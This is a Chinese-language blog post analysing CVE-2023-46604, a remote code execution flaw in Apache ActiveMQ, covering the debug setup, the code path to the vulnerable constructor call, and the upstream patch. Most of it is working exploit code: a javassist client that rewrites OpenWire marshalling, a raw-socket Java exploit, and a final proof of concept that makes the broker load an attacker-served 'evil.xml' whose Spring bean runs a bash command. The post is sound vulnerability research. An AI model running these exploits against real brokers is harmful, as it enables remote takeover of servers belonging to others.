CVE-2023-46604 activemq<5.18.3 RCE 分析

CVE-2023-46604 activemq<5.18.3 RCE 分析

Debuging Environment

使用activemq的官方docker+远程debug

docker需要暴露端口61616,再留一个用于debug的端口

FROM apache/activemq-classic:5.17.5
RUN apt-get update
RUN apt-get install wget curl netcat -y
EXPOSE 61616
EXPOSE 5005
CMD [ "tail","-f","/dev/null" ]

在docker中修改/opt/apache-activemq/bin/linux-x86-64/wrapper.conf

加上一条

wrapper.java.additional.14=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

image-20231101164842337

启动activemq

/opt/apache-activemq/bin/linux-x86-64/activemq console

宿主机上用idea打开activemq的源码,添加远程debug

image-20231101165059175

Arbitrary Constructor(String)

Sink

Sink点在org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable

private Throwable createThrowable(String className, String message) {
    try {
        Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
        Constructor constructor = clazz.getConstructor(new Class[] {String.class});
        return (Throwable)constructor.newInstance(new Object[] {message});
    } catch (Throwable e) {
        return new Throwable(className + ": " + message);
    }
}

这个函数用反射的方法调用constructor.newInstance,实例化任意构造器的参数是一个string的类

来看看如何从Source走到这里。首先来了解一下消息队列和activemq的通信流程

Java Message Service

在JMS中,producer client和consumer client异步地向broker建立连接。Queue是可消耗性的,topic是无限的。

image-20231105183239741

activemq messaging

抓流量看看activemq中producer在queue里添加一个对象,client和broker的通讯过程

package org.example;

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

public class ProducerDemo {
    public static void main(String[] args) throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
        Connection connection = connectionFactory.createConnection();
        connection.start();

        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        Destination destination = session.createQueue("myQueue");

        MessageProducer producer = session.createProducer(destination);
//        TextMessage message = session.createTextMessage("Hello, ActiveMQ!");
        ObjectMessage message=session.createObjectMessage(new Student("bridge"));
        producer.send(message);

        session.close();
        connection.close();
    }
}

activemq的broker和client用OpenWire应用层协议通信,传输层用的是TCP协议。

image-20231105184832404

而通过OpenWire通信的包会在org.apache.activemq.openwire#doUnmarshal反序列化。

doUnmarshal:367, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:-1, Thread (java.lang)
public Object doUnmarshal(DataInput dis) throws IOException {
    byte dataType = dis.readByte();
    if (dataType != NULL_TYPE) {
        DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
        if (dsm == null) {
            throw new IOException("Unknown data type: " + dataType);
        }
        Object data = dsm.createObject();
        if (this.tightEncodingEnabled) {
            BooleanStream bs = new BooleanStream();
            bs.unmarshal(dis);
            dsm.tightUnmarshal(this, data, dis, bs);
        } else {
            dsm.looseUnmarshal(this, data, dis);
        }
        return data;
    } else {
        return null;
    }
}

根据dataType指定的DataStreamMarshaller实现类,调用createObject方法。然后根据tightEncodingEnabled选择tightUnmarshal或looseUnmarshal

ExceptionResponseMarshaller

在上述的DataStreamMarshaller实现类中,ExceptionResponseMarshaller#looseUnmarshal会调用looseUnmarsalThrowable,从而调用org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable到达sink

public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
    super.looseUnmarshal(wireFormat, o, dataIn);

    ExceptionResponse info = (ExceptionResponse)o;
    info.setException((java.lang.Throwable) looseUnmarsalThrowable(wireFormat, dataIn));

}

Exploit1

首先用选项强制broker使用looseMarshalThrowable

tcp://localhost:61616?wireFormat.tightEncodingEnabled=false

Modify ResponseCorrelator

注意到在producer向broker发送对象时,会经过ResponseCorrelator#request。如果此时command是一个Exception,就会在后续使用ExceptionResponseMarshaller把对象传递过去。

public Object request(Object command) throws IOException {
    FutureResponse response = asyncRequest(command, null);
    return response.getResult();
}

借用javassist修改这个方法

void modifyResponseCorrelator() throws Exception {
    ClassPool cp = ClassPool.getDefault();
CtClass cc = cp.get("org.apache.activemq.transport.ResponseCorrelator");
    CtMethod method = cc.getDeclaredMethod("request", new CtClass[]{cp.get("java.lang.Object")});
    method.insertBefore("        if (command instanceof javax.jms.TextMessage) {\n" +
            "            command = new org.apache.activemq.command.ExceptionResponse(new RuntimeException(\"1\"));\n" +
            "            org.apache.activemq.transport.FutureResponse response = asyncRequest(command, null);\n" +
            "            return response.getResult();\n" +
            "        }");
    cc.toClass();
}

Modify BaseDataStreamMarshaller

修改上诉方法后,activemq会使用BaseDataStreamMarshaller#looseMarshalThrowable。修改这个函数的流程,让它写入指定的类和构造器参数

void modifyExceptionResponseMarshaller(String clazz, String arg) throws Exception {
    ClassPool cp = ClassPool.getDefault();

    // 获取ExceptionResponse类
    CtClass cc = cp.get("org.apache.activemq.openwire.v12.BaseDataStreamMarshaller");

    CtMethod marshal = cc.getDeclaredMethod("looseMarshalThrowable");
    cc.removeMethod(marshal);
    CtMethod newmarshal = CtNewMethod.make("   protected void looseMarshalThrowable(org.apache.activemq.openwire.OpenWireFormat wireFormat, Throwable o, java.io.DataOutput dataOut)" +
            "            throws java.io.IOException {\n" +
            "        dataOut.writeBoolean(o != null);\n" +
            "        if (o != null) {\n" +
            "            looseMarshalString(\""+clazz+"\", dataOut);\n" +
            "            looseMarshalString(\""+arg+"\", dataOut);\n" +
            "            if (wireFormat.isStackTraceEnabled()) {\n" +
            "                StackTraceElement[] stackTrace = o.getStackTrace();\n" +
            "                dataOut.writeShort(stackTrace.length);\n" +
            "                for (int i = 0; i < stackTrace.length; i++) {\n" +
            "                    StackTraceElement element = stackTrace[i];\n" +
            "                    looseMarshalString(element.getClassName(), dataOut);\n" +
            "                    looseMarshalString(element.getMethodName(), dataOut);\n" +
            "                    looseMarshalString(element.getFileName(), dataOut);\n" +
            "                    dataOut.writeInt(element.getLineNumber());\n" +
            "                }\n" +
            "                looseMarshalThrowable(wireFormat, o.getCause(), dataOut);\n" +
            "            }\n" +
            "        }\n" +
            "    }", cc);
    cc.addMethod(newmarshal);
    cc.toClass();
}

"Produce"

完整利用代码如下

package org.example;

import javassist.*;
import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

public class Exploit {

    public static void main(String[] args) {
        try {
            new Exploit().exploit("tcp://localhost:61616?wireFormat.tightEncodingEnabled=false");
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    void exploit(String url) throws Exception {
        // modify class
        modifyExceptionResponseMarshaller("clazz", "string");
        modifyResponseCorrelator();
        // send message
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory(url);
        Connection connection = connectionFactory.createConnection();
        connection.start();

        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        Destination destination = session.createQueue("myQueue");

        MessageProducer producer = session.createProducer(destination);
        TextMessage message = session.createTextMessage("Pwned!");
        producer.send(message);

        session.close();
        connection.close();
    }

    void modifyExceptionResponseMarshaller(String clazz, String arg) throws Exception {
        ClassPool cp = ClassPool.getDefault();

        // 获取ExceptionResponse类
        CtClass cc = cp.get("org.apache.activemq.openwire.v12.BaseDataStreamMarshaller");

        CtMethod marshal = cc.getDeclaredMethod("looseMarshalThrowable");
        cc.removeMethod(marshal);
        CtMethod newmarshal = CtNewMethod.make("   protected void looseMarshalThrowable(org.apache.activemq.openwire.OpenWireFormat wireFormat, Throwable o, java.io.DataOutput dataOut)" +
                "            throws java.io.IOException {\n" +
                "        dataOut.writeBoolean(o != null);\n" +
                "        if (o != null) {\n" +
                "            looseMarshalString(\""+clazz+"\", dataOut);\n" +
                "            looseMarshalString(\""+arg+"\", dataOut);\n" +
                "            if (wireFormat.isStackTraceEnabled()) {\n" +
                "                StackTraceElement[] stackTrace = o.getStackTrace();\n" +
                "                dataOut.writeShort(stackTrace.length);\n" +
                "                for (int i = 0; i < stackTrace.length; i++) {\n" +
                "                    StackTraceElement element = stackTrace[i];\n" +
                "                    looseMarshalString(element.getClassName(), dataOut);\n" +
                "                    looseMarshalString(element.getMethodName(), dataOut);\n" +
                "                    looseMarshalString(element.getFileName(), dataOut);\n" +
                "                    dataOut.writeInt(element.getLineNumber());\n" +
                "                }\n" +
                "                looseMarshalThrowable(wireFormat, o.getCause(), dataOut);\n" +
                "            }\n" +
                "        }\n" +
                "    }", cc);
        cc.addMethod(newmarshal);
        cc.toClass();
    }

    void modifyResponseCorrelator() throws Exception {
        ClassPool cp = ClassPool.getDefault();
    CtClass cc = cp.get("org.apache.activemq.transport.ResponseCorrelator");
        CtMethod method = cc.getDeclaredMethod("request", new CtClass[]{cp.get("java.lang.Object")});
        method.insertBefore("        if (command instanceof javax.jms.TextMessage) {\n" +
                "            command = new org.apache.activemq.command.ExceptionResponse(new RuntimeException(\"1\"));\n" +
                "            org.apache.activemq.transport.FutureResponse response = asyncRequest(command, null);\n" +
                "            return response.getResult();\n" +
                "        }");
        cc.toClass();
    }

}

Exploit2: from scratch

可以根据openwire协议的官方文档

ActiveMQ

结合debug broker手搓一个报文,不依赖任何第三方依赖

package org.example;

import javax.xml.crypto.Data;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;

public class ScratchExploit {
    public static void main(String[] args) throws IOException {
        Socket socket = new Socket("127.0.0.1", 61616);
        OutputStream os = socket.getOutputStream();
        DataOutputStream dos = new DataOutputStream(os);
        dos.writeInt(0);// size
        dos.writeByte(31);// type
        dos.writeInt(0);// CommandId
        dos.writeBoolean(false);// Command response required
        dos.writeInt(0);// CorrelationId

        // body
        dos.writeBoolean(true);
        // UTF
        dos.writeBoolean(true);
        dos.writeUTF("clazz");
        dos.writeBoolean(true);
        dos.writeUTF("string");

        dos.close();
        os.close();
        socket.close();
    }
}

RCE

在能调用Constructor(String)后,选择了这个activemq自带的gadget类:

org.springframework.context.support.ClassPathXmlApplicationContext

Final POC

用http服务器serve如下xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value><![CDATA[touch /tmp/pwned]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

运行

package org.example;

import javax.xml.crypto.Data;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;

public class ScratchExploit {
    public static void main(String[] args) throws IOException {
        Socket socket = new Socket("127.0.0.1", 61616);
        OutputStream os = socket.getOutputStream();
        DataOutputStream dos = new DataOutputStream(os);
        dos.writeInt(0);// size
        dos.writeByte(31);// type
        dos.writeInt(0);// CommandId
        dos.writeBoolean(false);// Command response required
        dos.writeInt(0);// CorrelationId

        // body
        dos.writeBoolean(true);
        // UTF
        dos.writeBoolean(true);
        dos.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
        dos.writeBoolean(true);
        dos.writeUTF("http://172.18.32.1:3001/evil.xml");

        dos.close();
        os.close();
        socket.close();
    }
}

Patchs

AMQ-9370 - Openwire marshaller should validate Throwable class type · apache/activemq@958330d

对于BaseDataStreamMarshaller#createThrowable方法,增加了对class是否为Throwable的校验

private Throwable createThrowable(String className, String message) {
    try {
        Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
        OpenWireUtil.validateIsThrowable(clazz);
        Constructor constructor = clazz.getConstructor(new Class[] {String.class});
        return (Throwable)constructor.newInstance(new Object[] {message});
    } catch (IllegalArgumentException e) {
        return e;
    } catch (Throwable e) {
        return new Throwable(className + ": " + message);
    }

绕过思考

我这里尝试用tabby寻找这样一个类:

1. 继承了Throwable
2. 构造器接受一个String参数
3. 能走到sink
match (constructor:Method{NAME:"<init>",IS_PUBLIC:true})
match (clazz:Class)
match (throwable:Class)
match (sink:Method {IS_SINK:true})
where
throwable.NAME="java.lang.Throwable"
and constructor.PARAMETER_SIZE=1 and constructor.SUB_SIGNATURE="void <init>(java.lang.String)"
and (clazz)-[:HAS]->(constructor)
and (clazz)-[:EXTENDS*]->(throwable)
call apoc.algo.allSimplePaths(sink,constructor, "<CALL|ALIAS", 5) yield path
return path

很遗憾,我并没有找到合适的类。

References

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://activemq.apache.org/openwire-version-2-specification

posted @ 2023-11-06 10:45  KingBridge  阅读(1713)  评论(0编辑  收藏  举报